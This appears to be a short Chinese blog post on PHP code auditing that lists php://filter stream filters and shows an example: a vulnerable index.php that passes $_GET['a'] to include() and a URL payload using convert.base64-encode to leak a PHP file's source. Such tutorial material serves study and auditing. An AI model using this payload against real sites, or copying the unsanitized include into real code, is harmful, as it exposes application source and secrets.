[php代码审计] php://filter

[php代码审计] php://filter

 

筛选过滤应用: 

1、 字符串过滤器:

  • string.rot13 对字符串执行ROT13转换
  • string.toupper转换为大写
  • string.tolower 转换为小写
  • string.strip_tags去除html和php标记

2、 转换过滤器:

  • convert.base64-encode & convert.base64-decode base64编码/解码
  • convert.quoted-printable-encode & convert.quoted-printable-decode将 quoted-printable 字符串转换为 8-bit 字符串

3、 压缩过滤器:

  • zlib.deflate zlib.inflate
  • bzip2.compress bzip2.decompress

4、 加密过滤器:

  •  mcrypt.tripledes和mdecrypt.tripledes等
readfile("php://filter/read=string.toupper/resource=http://www.example.com");//将www.example.com中的内容转换为大写后输出

file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");//将字符串”hello world”经过rot13编码后写入example.txt

 

例子:

url:

/index.php?a=php://filter/read=convert.base64-encode/resource=index2.php

index.php:

<?php
include($_GET['a']);
?>

结果如图:

[php代码审计] php://filter

[php代码审计] php://filter

 https://www.leavesongs.com/PENETRATION/php-filter-magic.html

相关文章:

  • 2021-05-01
  • 2021-04-20
  • 2021-07-03
  • 2021-07-14
  • 2022-01-23
  • 2022-12-23
猜你喜欢
  • 2021-06-25
  • 2021-10-19
  • 2021-08-17
  • 2021-11-09
  • 2021-11-03
  • 2021-07-11
相关资源
相似解决方案